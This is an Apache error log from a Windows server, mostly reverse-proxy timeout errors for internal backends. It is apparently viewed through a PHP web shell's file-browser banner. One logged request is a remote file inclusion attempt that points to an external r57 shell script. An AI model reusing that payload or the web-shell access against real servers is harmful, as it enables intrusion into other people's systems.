Software: Apache. PHP/5.5.15 uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 SYSTEM Safe-mode: OFF (not secure) E:\nuevo\apache\logs\ drwxrwxrwx | |
| Viewing file: Select action/file-type: [Mon Apr 16 00:01:57.555317 2018] [proxy:error] [pid 8864:tid 16456] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 00:01:57.555317 2018] [proxy:error] [pid 8864:tid 16456] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 00:01:57.555317 2018] [proxy_http:error] [pid 8864:tid 16456] [client 201.245.192.253:58628] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 00:01:57.555317 2018] [proxy:error] [pid 8864:tid 16456] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 00:05:21.510075 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 00:08:43.436830 2018] [core:error] [pid 8864:tid 15008] (20024)The given path is misformatted or contained invalid characters: [client 157.55.39.227:9547] AH00127: Cannot map GET /www.ambientebogota.gov.co:81/ HTTP/1.1 to file
[Mon Apr 16 00:11:56.830369 2018] [proxy:error] [pid 8864:tid 14816] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 00:11:56.830369 2018] [proxy:error] [pid 8864:tid 14816] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 00:11:56.830369 2018] [proxy_http:error] [pid 8864:tid 14816] [client 201.245.192.253:58658] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 00:11:56.923969 2018] [proxy:error] [pid 8864:tid 14816] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 00:12:39.106444 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 00:21:57.415824 2018] [proxy:error] [pid 8864:tid 14612] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 00:21:57.415824 2018] [proxy:error] [pid 8864:tid 14612] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 00:21:57.415824 2018] [proxy_http:error] [pid 8864:tid 14612] [client 201.245.192.253:58718] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 00:21:57.415824 2018] [proxy:error] [pid 8864:tid 14612] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 00:36:00.924906 2018] [core:error] [pid 8864:tid 17372] (20024)The given path is misformatted or contained invalid characters: [client 18.218.59.86:51250] AH00127: Cannot map GET /bla/boletinlegal/index.php=http://www.kbkcarreletdor.fr/fr/r57.txt? HTTP/1.1 to file
[Mon Apr 16 00:50:39.346849 2018] [proxy:error] [pid 8864:tid 17528] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 00:50:39.346849 2018] [proxy:error] [pid 8864:tid 17528] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.31) for 60s
[Mon Apr 16 00:50:39.346849 2018] [proxy_http:error] [pid 8864:tid 17528] [client 66.249.73.213:63657] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 01:01:57.012039 2018] [proxy:error] [pid 8864:tid 15824] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 01:01:57.012039 2018] [proxy:error] [pid 8864:tid 15824] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 01:01:57.012039 2018] [proxy_http:error] [pid 8864:tid 15824] [client 201.245.192.253:58816] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 01:01:57.012039 2018] [proxy:error] [pid 8864:tid 15824] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 01:09:08.508797 2018] [proxy:error] [pid 8864:tid 17608] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.51:8399 (172.22.1.51) failed
[Mon Apr 16 01:09:08.508797 2018] [proxy:error] [pid 8864:tid 17608] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.51) for 60s
[Mon Apr 16 01:09:08.508797 2018] [proxy_http:error] [pid 8864:tid 17608] [client 152.61.128.50:45820] AH01114: HTTP: failed to make connection to backend: 172.22.1.51
[Mon Apr 16 01:09:08.773997 2018] [proxy:error] [pid 8864:tid 17608] AH00940: HTTP: disabled connection for (172.22.1.51)
[Mon Apr 16 01:09:09.039198 2018] [proxy:error] [pid 8864:tid 17608] AH00940: HTTP: disabled connection for (172.22.1.51)
[Mon Apr 16 01:11:57.363493 2018] [proxy:error] [pid 8864:tid 17992] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 01:11:57.363493 2018] [proxy:error] [pid 8864:tid 17992] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 01:11:57.363493 2018] [proxy_http:error] [pid 8864:tid 17992] [client 201.245.192.253:58846] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 01:11:57.457093 2018] [proxy:error] [pid 8864:tid 17992] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 01:21:57.527747 2018] [proxy:error] [pid 8864:tid 17292] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 01:21:57.527747 2018] [proxy:error] [pid 8864:tid 17292] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 01:21:57.527747 2018] [proxy_http:error] [pid 8864:tid 17292] [client 201.245.192.253:58926] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 01:21:57.527747 2018] [proxy:error] [pid 8864:tid 17292] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 01:23:14.607483 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 01:32:50.810095 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 02:01:57.233162 2018] [proxy:error] [pid 8864:tid 16336] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 02:01:57.233162 2018] [proxy:error] [pid 8864:tid 16336] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 02:01:57.233162 2018] [proxy_http:error] [pid 8864:tid 16336] [client 201.245.192.253:59054] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 02:01:57.233162 2018] [proxy:error] [pid 8864:tid 16336] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 02:11:27.164563 2018] [proxy:error] [pid 8864:tid 14372] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.51:8399 (172.22.1.51) failed
[Mon Apr 16 02:11:27.164563 2018] [proxy:error] [pid 8864:tid 14372] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.51) for 60s
[Mon Apr 16 02:11:27.164563 2018] [proxy_http:error] [pid 8864:tid 14372] [client 152.61.192.232:49136] AH01114: HTTP: failed to make connection to backend: 172.22.1.51
[Mon Apr 16 02:11:27.601364 2018] [proxy:error] [pid 8864:tid 14372] AH00940: HTTP: disabled connection for (172.22.1.51)
[Mon Apr 16 02:11:27.913365 2018] [proxy:error] [pid 8864:tid 14372] AH00940: HTTP: disabled connection for (172.22.1.51)
[Mon Apr 16 02:11:56.508215 2018] [proxy:error] [pid 8864:tid 15576] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 02:11:56.508215 2018] [proxy:error] [pid 8864:tid 15576] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 02:11:56.508215 2018] [proxy_http:error] [pid 8864:tid 15576] [client 201.245.192.253:59084] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 02:11:56.508215 2018] [proxy:error] [pid 8864:tid 15576] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 02:21:56.859669 2018] [proxy:error] [pid 8864:tid 15780] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 02:21:56.859669 2018] [proxy:error] [pid 8864:tid 15780] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 02:21:56.859669 2018] [proxy_http:error] [pid 8864:tid 15780] [client 201.245.192.253:59144] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 02:21:56.859669 2018] [proxy:error] [pid 8864:tid 15780] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 02:38:42.281435 2018] [proxy:error] [pid 8864:tid 16756] (OS 10061)No connection could be made because the target machine actively refused it. : AH00957: HTTP: attempt to connect to 172.22.1.26:8080 (172.22.1.26) failed
[Mon Apr 16 02:38:42.281435 2018] [proxy:error] [pid 8864:tid 16756] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.26) for 60s
[Mon Apr 16 02:38:42.281435 2018] [proxy_http:error] [pid 8864:tid 16756] [client 54.36.148.68:52594] AH01114: HTTP: failed to make connection to backend: 172.22.1.26
[Mon Apr 16 03:01:56.315484 2018] [proxy:error] [pid 8864:tid 17608] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 03:01:56.315484 2018] [proxy:error] [pid 8864:tid 17608] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 03:01:56.315484 2018] [proxy_http:error] [pid 8864:tid 17608] [client 201.245.192.253:59248] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 03:01:56.315484 2018] [proxy:error] [pid 8864:tid 17608] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 03:11:56.620138 2018] [proxy:error] [pid 8864:tid 15912] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 03:11:56.620138 2018] [proxy:error] [pid 8864:tid 15912] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 03:11:56.620138 2018] [proxy_http:error] [pid 8864:tid 15912] [client 201.245.192.253:59278] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 03:11:56.620138 2018] [proxy:error] [pid 8864:tid 15912] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 03:21:57.002793 2018] [proxy:error] [pid 8864:tid 17644] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 03:21:57.002793 2018] [proxy:error] [pid 8864:tid 17644] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 03:21:57.002793 2018] [proxy_http:error] [pid 8864:tid 17644] [client 201.245.192.253:59338] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 03:21:57.002793 2018] [proxy:error] [pid 8864:tid 17644] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 04:01:56.489807 2018] [proxy:error] [pid 8864:tid 15260] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 04:01:56.489807 2018] [proxy:error] [pid 8864:tid 15260] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 04:01:56.489807 2018] [proxy_http:error] [pid 8864:tid 15260] [client 201.245.192.253:59436] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 04:01:56.489807 2018] [proxy:error] [pid 8864:tid 15260] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 04:11:56.872462 2018] [proxy:error] [pid 8864:tid 14328] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 04:11:56.872462 2018] [proxy:error] [pid 8864:tid 14328] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 04:11:56.872462 2018] [proxy_http:error] [pid 8864:tid 14328] [client 201.245.192.253:59466] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 04:11:56.872462 2018] [proxy:error] [pid 8864:tid 14328] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 04:21:56.194314 2018] [proxy:error] [pid 8864:tid 16112] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 04:21:56.194314 2018] [proxy:error] [pid 8864:tid 16112] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 04:21:56.194314 2018] [proxy_http:error] [pid 8864:tid 16112] [client 201.245.192.253:59526] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 04:21:56.303515 2018] [proxy:error] [pid 8864:tid 16112] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 05:01:55.946529 2018] [proxy:error] [pid 8864:tid 17280] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 05:01:55.946529 2018] [proxy:error] [pid 8864:tid 17280] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 05:01:55.946529 2018] [proxy_http:error] [pid 8864:tid 17280] [client 201.245.192.253:59622] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 05:01:55.946529 2018] [proxy:error] [pid 8864:tid 17280] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 05:11:56.375984 2018] [proxy:error] [pid 8864:tid 15840] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 05:11:56.375984 2018] [proxy:error] [pid 8864:tid 15840] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 05:11:56.375984 2018] [proxy_http:error] [pid 8864:tid 15840] [client 201.245.192.253:59652] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 05:11:56.391584 2018] [proxy:error] [pid 8864:tid 15840] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 05:21:56.727438 2018] [proxy:error] [pid 8864:tid 14816] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 05:21:56.727438 2018] [proxy:error] [pid 8864:tid 14816] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 05:21:56.727438 2018] [proxy_http:error] [pid 8864:tid 14816] [client 201.245.192.253:59722] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 05:21:56.821038 2018] [proxy:error] [pid 8864:tid 14816] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 06:01:55.824452 2018] [proxy:error] [pid 8864:tid 16844] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 06:01:55.824452 2018] [proxy:error] [pid 8864:tid 16844] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 06:01:55.824452 2018] [proxy_http:error] [pid 8864:tid 16844] [client 201.245.192.253:59866] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 06:01:55.824452 2018] [proxy:error] [pid 8864:tid 16844] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 06:11:55.739106 2018] [proxy:error] [pid 8864:tid 15780] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 06:11:55.739106 2018] [proxy:error] [pid 8864:tid 15780] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 06:11:55.739106 2018] [proxy_http:error] [pid 8864:tid 15780] [client 201.245.192.253:59896] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 06:11:55.739106 2018] [proxy:error] [pid 8864:tid 15780] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 06:21:56.152960 2018] [proxy:error] [pid 8864:tid 14572] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 06:21:56.152960 2018] [proxy:error] [pid 8864:tid 14572] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 06:21:56.152960 2018] [proxy_http:error] [pid 8864:tid 14572] [client 201.245.192.253:59956] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 06:21:56.152960 2018] [proxy:error] [pid 8864:tid 14572] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 07:01:56.591577 2018] [proxy:error] [pid 8864:tid 15760] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 07:01:56.591577 2018] [proxy:error] [pid 8864:tid 15760] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 07:01:56.591577 2018] [proxy_http:error] [pid 8864:tid 15760] [client 201.245.192.253:60074] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 07:01:56.591577 2018] [proxy:error] [pid 8864:tid 15760] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 07:11:55.913429 2018] [proxy:error] [pid 8864:tid 16036] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 07:11:55.913429 2018] [proxy:error] [pid 8864:tid 16036] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 07:11:55.913429 2018] [proxy_http:error] [pid 8864:tid 16036] [client 201.245.192.253:60110] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 07:11:55.913429 2018] [proxy:error] [pid 8864:tid 16036] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 07:21:56.249284 2018] [proxy:error] [pid 8864:tid 15824] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 07:21:56.249284 2018] [proxy:error] [pid 8864:tid 15824] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 07:21:56.249284 2018] [proxy_http:error] [pid 8864:tid 15824] [client 201.245.192.253:60204] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 07:21:56.249284 2018] [proxy:error] [pid 8864:tid 15824] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 08:01:55.751898 2018] [proxy:error] [pid 8864:tid 16552] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 08:01:55.751898 2018] [proxy:error] [pid 8864:tid 16552] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 08:01:55.751898 2018] [proxy_http:error] [pid 8864:tid 16552] [client 201.245.192.253:60314] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 08:01:55.751898 2018] [proxy:error] [pid 8864:tid 16552] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 08:11:56.196953 2018] [proxy:error] [pid 8864:tid 14396] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 08:11:56.196953 2018] [proxy:error] [pid 8864:tid 14396] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 08:11:56.196953 2018] [proxy_http:error] [pid 8864:tid 14396] [client 201.245.192.253:60386] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 08:11:56.196953 2018] [proxy:error] [pid 8864:tid 14396] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 08:17:40.707958 2018] [proxy:error] [pid 8864:tid 16680] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 08:17:40.707958 2018] [proxy:error] [pid 8864:tid 16680] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.31) for 60s
[Mon Apr 16 08:17:40.707958 2018] [proxy_http:error] [pid 8864:tid 16680] [client 201.245.192.253:51001] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 08:17:41.534759 2018] [proxy:error] [pid 8864:tid 14092] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 08:17:41.534759 2018] [proxy_http:error] [pid 8864:tid 14092] [client 190.146.246.10:50377] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 08:18:12.672414 2018] [proxy:error] [pid 8864:tid 15060] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 08:18:12.672414 2018] [proxy:error] [pid 8864:tid 15060] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.31) for 60s
[Mon Apr 16 08:18:12.672414 2018] [proxy_http:error] [pid 8864:tid 15060] [client 190.146.246.10:50383] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 08:18:15.527219 2018] [proxy:error] [pid 8864:tid 18160] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 08:18:15.527219 2018] [proxy_http:error] [pid 8864:tid 18160] [client 190.146.246.10:50385] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 08:21:55.300405 2018] [proxy:error] [pid 8864:tid 17340] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 08:21:55.300405 2018] [proxy:error] [pid 8864:tid 17340] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 08:21:55.300405 2018] [proxy_http:error] [pid 8864:tid 17340] [client 201.245.192.253:60446] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 08:21:55.300405 2018] [proxy:error] [pid 8864:tid 17340] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 08:28:59.168749 2018] [proxy:error] [pid 8864:tid 15856] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.32:80 (172.22.1.32) failed
[Mon Apr 16 08:28:59.168749 2018] [proxy:error] [pid 8864:tid 15856] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.32) for 60s
[Mon Apr 16 08:28:59.168749 2018] [proxy_http:error] [pid 8864:tid 15856] [client 201.245.192.253:49576] AH01114: HTTP: failed to make connection to backend: 172.22.1.32, referer: http://172.22.1.122/web/intranet/aplicaciones-para-acceder-fuera-de-la-sda
[Mon Apr 16 09:01:30.310976 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 09:01:55.614221 2018] [proxy:error] [pid 8864:tid 17576] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 09:01:55.614221 2018] [proxy:error] [pid 8864:tid 17576] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 09:01:55.614221 2018] [proxy_http:error] [pid 8864:tid 17576] [client 201.245.192.253:60624] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 09:01:55.614221 2018] [proxy:error] [pid 8864:tid 17576] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 09:07:01.078357 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 09:11:56.121676 2018] [proxy:error] [pid 8864:tid 16412] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 09:11:56.121676 2018] [proxy:error] [pid 8864:tid 16412] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 09:11:56.121676 2018] [proxy_http:error] [pid 8864:tid 16412] [client 201.245.192.253:60656] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 09:11:56.121676 2018] [proxy:error] [pid 8864:tid 16412] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 09:21:55.630729 2018] [proxy:error] [pid 8864:tid 14580] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 09:21:55.630729 2018] [proxy:error] [pid 8864:tid 14580] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 09:21:55.630729 2018] [proxy_http:error] [pid 8864:tid 14580] [client 201.245.192.253:60720] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 09:21:55.630729 2018] [proxy:error] [pid 8864:tid 14580] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 10:01:55.117743 2018] [proxy:error] [pid 8864:tid 14128] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 10:01:55.117743 2018] [proxy:error] [pid 8864:tid 14128] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
